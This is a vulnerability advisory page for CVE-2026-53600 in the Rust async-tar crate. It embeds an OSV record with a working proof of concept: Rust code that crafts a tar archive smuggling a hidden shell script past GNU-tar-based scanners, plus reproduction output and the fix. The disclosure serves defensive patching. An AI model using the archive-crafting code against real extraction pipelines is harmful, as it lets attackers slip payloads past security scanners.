CVE-2026-53600: Async tar Async-tar PAX Extension-header Desync Enables Vulnerability
MODERATECVE-2026-53600 is a MODERATE async-tar pax extension-header desync enables vulnerability (CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')) affecting Async tar libraries in the crates.io ecosystem. The issue involves async-tar pax extension-header desync enables tar entry/content smuggling. Remediation is available by upgrading affected packages to version 0.6.1.
CVE-2026-53600 at a Glance
How to Fix CVE-2026-53600
To remediate this vulnerability, upgrade all affected Async tar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade async-tar to 0.6.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for async-tar
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-53600, inspect your project dependencies for Async tar:
inspect dependencies for async-tar
Analyze the terminal output to locate any version of Async tar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.6.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-843: Access of Resource Using Incompatible Type ('Type Confusion'), where the product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type. In Async tar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-53600 Affected Async tar Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
async-tar
|
crates.io |
< 0.6.1
|
0.6.1
|
References
Frequently Asked Questions
What is CVE-2026-53600?
Which Async tar versions are affected?
What version fixes CVE-2026-53600?
Is async-tar affected?
What CWE is associated with CVE-2026-53600?
How can I check crates.io dependencies for CVE-2026-53600?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-35rm-7j9c-2f7m",
"modified" : "2026-07-08T20:24:12Z",
"published" : "2026-07-08T20:24:12Z",
"aliases" : [ "CVE-2026-53600" ],
"summary" : "async-tar PAX extension-header desync enables tar entry/content smuggling",
"details" : "## Summary\n\n`async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an intermediary\nextension header (a GNU longname `L`, a GNU longlink `K`, or a PAX `x`/`g`\nheader) instead of to the next *file* entry. POSIX requires a PAX extended-header\nrecord set to describe the next file entry, never an intervening extension\nheader. Because `poll_next_raw` (`src/archive.rs`) threads the buffered PAX\nrecords into the size computation of whatever raw header it reads next — and that\nheader can be an intermediary `L` — the stream cursor is advanced by an\nattacker-chosen amount when the `L` body is consumed. The parser then desyncs\nrelative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes\nat the wrong block boundary.\n\nAn attacker who can influence a tar stream that an `async-tar` consumer extracts\ncan construct an `x → L → file` sequence whose entry list and on-disk result\ndiffer between `async-tar` and a reference parser. This enables content/entry\nsmuggling: a file that a GNU-tar-based scanner/validator/AV sees as benign opaque\ndata is extracted by `async-tar` as a different file with different bytes (e.g. an\nexecutable script), and vice versa.\n\nType confusion / improper validation of the specified quantity (size). CWE-20,\nCWE-843. Severity assessed Medium, consistent with the same defect class in the\nupstream tar-rs / tokio-tar lineage.\n\n## Affected code\n\nPackage: `async-tar` (crates.io). Affected version: **0.6.0** (latest release) and\ncurrent `main` HEAD. Both lack the extension-header guard.\n\n`src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag,\ncommit `45814b19295b7398e119c90c57d8c8bf70a798b6`):\n\n```rust\n let file_pos = *next;\n\n let mut header = current_header.take().unwrap();\n\n // when pax extensions are available, the size should come from there.\n let mut size = header.entry_size()?;\n\n // the size above will be overriden by the pax data if it has a size field.\n // same for uid and gid, which will be overridden in the header itself.\n if let Some(pax_extensions_data) = pax_extensions_data { // <-- no is_extension_header guard\n let pax = pax_extensions(pax_extensions_data);\n for extension in pax {\n let extension = extension.map_err(|_e| other(\"pax extensions invalid\"))?;\n let Some(key) = extension.key().ok() else { continue };\n match key {\n \"size\" => {\n let size_str = extension.value()\n .map_err(|_e| other(\"failed to parse pax size as string\"))?;\n size = size_str.parse::<u64>()\n .map_err(|_e| other(\"failed to parse pax size\"))?;\n }\n \"uid\" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); }\n \"gid\" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); }\n _ => { continue }\n }\n }\n }\n\n let data = EntryIo::Data(archive.clone().take(size)); // body length = mis-applied PAX size\n```\n\nand a few lines further down the same function:\n\n```rust\n // Store where the next entry is, rounding up by 512 bytes.\n let size = (size + 511) & !(512 - 1);\n *next += size; // cursor advance = mis-applied PAX size\n```\n\nThe caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX local\nextension into `current_pax_extensions` and then calls `poll_next_raw` with\n`current_pax_extensions.as_deref()` for the *next* raw header. When that next\nraw header is an intermediary GNU longname (handled by the `is_gnu_longname()`\nbranch a few lines later), the PAX `size` is applied to it, so `*next` advances by\nthe spoofed size rather than the `L` header's own declared size. That is the\ndesync.\n\nThe buffered PAX records are intended to apply only to the following *file*\nentry; the missing check is whether the raw header currently being sized is itself\nan extension header (`L`/`K`/`x`/`g`).\n\n## Impact\n\nDifferential extraction / entry smuggling. A consumer that extracts an\nattacker-influenced tar stream with `async-tar` (e.g. a server endpoint that\nunpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that unpacks\na remote tarball, an archive-preview/scan pipeline) will:\n\n- materialize files / file contents that a POSIX-correct parser (GNU tar,\n libarchive/bsdtar) does not surface, and\n- omit or alter files that the reference parser does surface.\n\nThis breaks any security control that relies on scanning the archive with one\nparser and extracting with `async-tar`: a malware/secret scanner reading the\nstream with GNU tar can be made to see only benign data while `async-tar` writes\nan executable payload to disk. It can also be used to hide entries from\naudit/inventory tooling, or to write content to a path the reviewer believes\nholds something else. No attacker-controlled local state is required — only the\nability to influence the bytes of the tar stream that the consumer extracts.\n\n## How input reaches the sink (reachability)\n\nThe vulnerable path is the library's primary public API for reading archives:\n`Archive::new(reader).entries()` returns an `Entries` stream whose `poll_next`\ndrives `poll_next_raw` for every header. Any consumer that iterates entries (or\ncalls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream reaches\nthe sink with no additional configuration. The `reader` need not be a file — it is\nany `AsyncRead`, so an upload buffer, an HTTP response body, or a decompressor\noutput all qualify. The only precondition for the desync is that the stream\ncontain a PAX local-extension header (`x`) carrying a `size` record immediately\nfollowed by an intermediary GNU longname (`L`) before the next file header — a\nstructure the attacker fully controls in the archive bytes. Representative\nreachable consumers are server endpoints that unpack uploaded `.tar`/`.tar.gz`\nbodies, dependency/artifact fetchers that unpack remote tarballs, and\narchive-scan/preview pipelines.\n\n## Proof of concept\n\nA standalone Rust consumer binary that links the published crates.io\n`async-tar = \"=0.6.0\"` (`default-features = false, features = [\"runtime-tokio\"]`)\nand runs the real `Archive::new(...).entries()` extraction loop (the same shape\nused by real downstream server consumers that unpack uploaded tarballs). It reads\na tar file and writes each entry to a destination directory, printing the entry\nlist `async-tar` surfaces. A second binary hand-crafts the malicious and benign\ntar byte streams.\n\nMalicious archive geometry (block = 512 bytes):\n\n```\nB0 x PAX local-extension header, records declare size=1024 (= 2 blocks)\nB1 PAX records (\"<len> size=1024\\n\")\nB2 L GNU longname header, OWN declared size = 512 (= 1 block)\nB3 longname block #1 = \"GNU_SEES_THIS.txt\\0...\" (the name GNU tar uses)\nB4 a normal file header \"placeholder_A\" (size 512)\nB5 <-- this block IS a valid tar header for the smuggled file\n \"hidden_payload.sh\" (size 65)\nB6 smuggled payload \"#!/bin/sh\\n# SMUGGLED ENTRY...\\n\"\nB7,B8 two zero blocks (EOF)\n```\n\nGNU tar honours the `L` header's own declared size (1 block) for the longname and\nignores the buffered PAX `size`, so it reads B3 as the longname, treats B4 as the\nfile, and reads B5 as that file's opaque data. `async-tar` mis-applies the PAX\n`size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands its cursor\non B5, parses it as a tar header, and extracts the smuggled `hidden_payload.sh`\nbody (B6).\n\nTar-builder source (`mktar.rs`):\n\n```rust\nuse std::io::Write;\nconst BLOCK: usize = 512;\n\nfn octal(buf: &mut [u8], v: u64) {\n let s = format!(\"{:0width$o}\", v, width = buf.len() - 1);\n let b = s.as_bytes();\n buf[..b.len()].copy_from_slice(b);\n buf[b.len()] = 0;\n}\n\nfn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] {\n let mut h = [0u8; BLOCK];\n let n = name.len().min(100);\n h[..n].copy_from_slice(&name[..n]);\n octal(&mut h[100..108], 0o644);\n octal(&mut h[108..116], 0);\n octal(&mut h[116..124], 0);\n octal(&mut h[124..136], size);\n octal(&mut h[136..148], 0);\n h[156] = typeflag;\n if typeflag == b'L' { h[257..265].copy_from_slice(b\"ustar \\0\"); }\n else { h[257..263].copy_from_slice(b\"ustar\\0\"); h[263..265].copy_from_slice(b\"00\"); }\n for b in &mut h[148..156] { *b = b' '; }\n let sum: u32 = h.iter().map(|b| *b as u32).sum();\n h[148..156].copy_from_slice(format!(\"{:06o}\\0 \", sum).as_bytes());\n h\n}\n\nfn pad(out: &mut Vec<u8>, len: usize) {\n let rem = len % BLOCK;\n if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); }\n}\nfn pax_record(key: &str, val: &str) -> Vec<u8> {\n let mut len = key.len() + val.len() + 3;\n loop {\n let s = format!(\"{} {}={}\\n\", len, key, val);\n if s.len() == len { return s.into_bytes(); }\n len = s.len();\n }\n}\nfn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b }\nfn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); }\n\nfn build_malicious() -> Vec<u8> {\n let mut out = Vec::new();\n let gnu_name = b\"GNU_SEES_THIS.txt\";\n let spoof = (BLOCK * 2) as u64;\n let mut recs = Vec::new();\n recs.extend(pax_record(\"size\", &spoof.to_string()));\n out.extend_from_slice(&header(b\"./PaxHeaders/0\", recs.len() as u64, b'x'));\n write_block(&mut out, &recs);\n out.extend_from_slice(&header(b\"././@LongLink\", BLOCK as u64, b'L'));\n out.extend_from_slice(&name_block(gnu_name)); // B3\n out.extend_from_slice(&header(b\"placeholder_A\", BLOCK as u64, b'0')); // B4\n let smuggled_body = b\"#!/bin/sh\\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\\n\".to_vec();\n out.extend_from_slice(&header(b\"hidden_payload.sh\", smuggled_body.len() as u64, b'0')); // B5\n write_block(&mut out, &smuggled_body); // B6\n out.extend(std::iter::repeat(0u8).take(BLOCK * 2));\n out\n}\n\nfn build_benign() -> Vec<u8> {\n let mut out = Vec::new();\n let mut recs = Vec::new();\n recs.extend(pax_record(\"path\", \"normal_file.txt\"));\n out.extend_from_slice(&header(b\"./PaxHeaders/0\", recs.len() as u64, b'x'));\n write_block(&mut out, &recs);\n let body = b\"plain benign content\\n\".to_vec();\n out.extend_from_slice(&header(b\"normal_file.txt\", body.len() as u64, b'0'));\n write_block(&mut out, &body);\n let body2 = b\"second benign file\\n\".to_vec();\n out.extend_from_slice(&header(b\"second.txt\", body2.len() as u64, b'0'));\n write_block(&mut out, &body2);\n out.extend(std::iter::repeat(0u8).take(BLOCK * 2));\n out\n}\n\nfn main() {\n let a: Vec<String> = std::env::args().collect();\n let bytes = match a[1].as_str() { \"malicious\" => build_malicious(), \"benign\" => build_benign(), _ => std::process::exit(2) };\n std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap();\n}\n```\n\nConsumer source (`main.rs`, mirrors a real `Archive::entries()` extraction loop):\n\n```rust\nuse async_tar::Archive;\nuse tokio::fs;\nuse tokio::io::AsyncReadExt;\nuse tokio_stream::StreamExt;\n\n#[tokio::main(flavor = \"multi_thread\", worker_threads = 2)]\nasync fn main() {\n let args: Vec<String> = std::env::args().collect();\n let dest = std::path::PathBuf::from(&args[2]);\n fs::create_dir_all(&dest).await.unwrap();\n let bytes = fs::read(&args[1]).await.unwrap();\n let archive = Archive::new(std::io::Cursor::new(bytes));\n let mut entries = archive.entries().expect(\"entries()\");\n let mut idx = 0usize;\n while let Some(entry) = entries.next().await {\n let mut file = match entry { Ok(f) => f, Err(e) => { println!(\"[async-tar] ERROR: {e}\"); break } };\n let path_raw = file.path().expect(\"path\").into_owned();\n let path_disp = path_raw.to_string_lossy().split('\\u{0}').next().unwrap_or(\"\").to_string();\n let hdr_size = file.header().size().unwrap_or(0);\n let mut out = dest.clone();\n for comp in std::path::PathBuf::from(&path_disp).components() {\n if let std::path::Component::Normal(p) = comp { out.push(p); }\n }\n let mut body = Vec::new();\n let read = file.read_to_end(&mut body).await.unwrap_or(0);\n if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; }\n let _ = fs::write(&out, &body).await;\n let preview: String = body.iter().take(48)\n .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect();\n println!(\"[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\\\"{preview}\\\"\", path_disp);\n idx += 1;\n }\n println!(\"[async-tar] total entries surfaced: {idx}\");\n}\n```\n\n`Cargo.toml`:\n\n```toml\n[dependencies]\nasync-tar = { version = \"=0.6.0\", default-features = false, features = [\"runtime-tokio\"] }\ntokio = { version = \"1\", features = [\"rt-multi-thread\", \"macros\", \"io-util\", \"fs\"] }\ntokio-stream = \"0.1\"\nfutures = \"0.3\"\n```\n\n## End-to-end reproduction\n\nReference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release linked by\nthe consumer binary above. Verbatim captured output:\n\n```\n$ cargo build --release # links async-tar v0.6.0 from crates.io\n Compiling async-tar v0.6.0\n Compiling async-tar-consumer v0.1.0\n Finished `release` profile [optimized] target(s) in 10.12s\n\n$ ./target/release/mktar malicious mal.tar\nwrote 4608 bytes to mal.tar\n\n# ---- (A) GNU tar reference: list + extract ----\n$ gtar tvf mal.tar ; echo \"rc=$?\"\n-rw-r--r-- 0/0 1024 1970-01-01 08:00 GNU_SEES_THIS.txt\nrc=0\n$ gtar xf mal.tar -C /tmp/gnu_x ; echo \"rc=$?\"\nrc=0\n$ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt\nhidden_payload.sh\n# (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header\n# bytes of B5 — a GNU-tar-based scanner sees only benign noise.)\n\n# ---- (B) async-tar v0.6.0 consumer: extract ----\n$ ./target/release/extract mal.tar /tmp/at_mal\n[async-tar] entry#0 path=\"GNU_SEES_THIS.txt\" hdr_size=65 bytes_read=1024 body=\"#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t\"\n[async-tar] total entries surfaced: 1\n$ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt\n#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n```\n\nSame bytes, two parsers, different on-disk result: GNU tar writes a 1024-byte\nbenign blob; `async-tar` writes a 65-byte executable shell script that the\nreference parser never exposes as an entry. The smuggled `#!/bin/sh` body is\ncontent a GNU-tar-based scanner would never inspect.\n\nNegative control — a benign archive (correct PAX usage: `x` applies `path` to the\nfollowing file, no intermediary `L`):\n\n```\n$ ./target/release/mktar benign ben.tar\n$ gtar tvf ben.tar ; echo \"rc=$?\"\n-rw-r--r-- 0/0 21 1970-01-01 08:00 normal_file.txt\n-rw-r--r-- 0/0 19 1970-01-01 08:00 second.txt\nrc=0\n$ ./target/release/extract ben.tar /tmp/at_ben\n[async-tar] entry#0 path=\"normal_file.txt\" hdr_size=21 bytes_read=21 body=\"plain benign content.\"\n[async-tar] entry#1 path=\"second.txt\" hdr_size=19 bytes_read=19 body=\"second benign file.\"\n[async-tar] total entries surfaced: 2\n```\n\nGNU tar and `async-tar` produce identical entry lists and identical on-disk files.\nNo smuggling. The differential is exclusive to the `x → L → file` desync sequence.\n\n## Fix\n\nApply the buffered PAX records (and the `size`/`uid`/`gid` overrides) only when\nthe raw header being sized is NOT itself an extension header. Skip the override\nfor GNU longname (`L`), GNU longlink (`K`), and PAX local/global (`x`/`g`) headers,\nwhose body length must come from their own declared size. This mirrors the fix\nadopted in the upstream tar-rs / tokio-tar lineage for the same defect class.\n\n```rust\n // when pax extensions are available, the size should come from there.\n let mut size = header.entry_size()?;\n\n // PAX extensions describe the NEXT file entry, not an intermediary\n // extension header. Applying a buffered PAX `size` to such an intermediary\n // header (L/K/x/g) advances the stream cursor by the wrong amount and\n // desyncs the parse.\n let entry_type = header.entry_type();\n let is_extension_header = entry_type.is_gnu_longname()\n || entry_type.is_gnu_longlink()\n || entry_type.is_pax_local_extensions()\n || entry_type.is_pax_global_extensions();\n\n // the size above will be overriden by the pax data if it has a size field.\n // same for uid and gid, which will be overridden in the header itself.\n if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) {\n let pax = pax_extensions(pax_extensions_data);\n for extension in pax {\n // unchanged: same size/uid/gid override loop as before\n }\n }\n```\n\nFix-verify, captured verbatim. The patched `async-tar` (guard added) re-run\nagainst the same `mal.tar`:\n\n```\n$ cargo build --release # [patch.crates-io] async-tar = { path = \"../async-tar-patched\" }\n Compiling async-tar v0.6.0 (.../async-tar-patched)\n Compiling async-tar-consumer v0.1.0\n Finished `release` profile [optimized] target(s)\n$ ./target/release/extract mal.tar /tmp/at_fix\n[async-tar] entry#0 path=\"GNU_SEES_THIS.txt\" hdr_size=512 bytes_read=1024 body=\"hidden_payload.sh...............................\"\n[async-tar] total entries surfaced: 1\n$ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt\nhidden_payload.sh\n```\n\nWith the guard, `async-tar`'s view converges with GNU tar's: it surfaces\n`GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as data, and\nno longer extracts the smuggled executable script. The benign control still\nproduces the correct two-file output. The desync is eliminated.\n\n## Fix PR\n\nA fix PR adding the `is_extension_header` guard to `poll_next_raw` in\n`src/archive.rs` is opened from the advisory's temporary private fork against this\nrepository. It carries the diff shown in the **Fix** section above (no behavioural\nchange for well-formed archives; only intermediary `L`/`K`/`x`/`g` headers stop\ninheriting a following PAX `size`).\n\n## Credit\n\nReported by tonghuaroot.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "crates.io",
"name" : "async-tar"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.6.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/dignifiedquire/async-tar"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-843" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-08T20:24:12Z",
"nvd_published_at" : null
}
}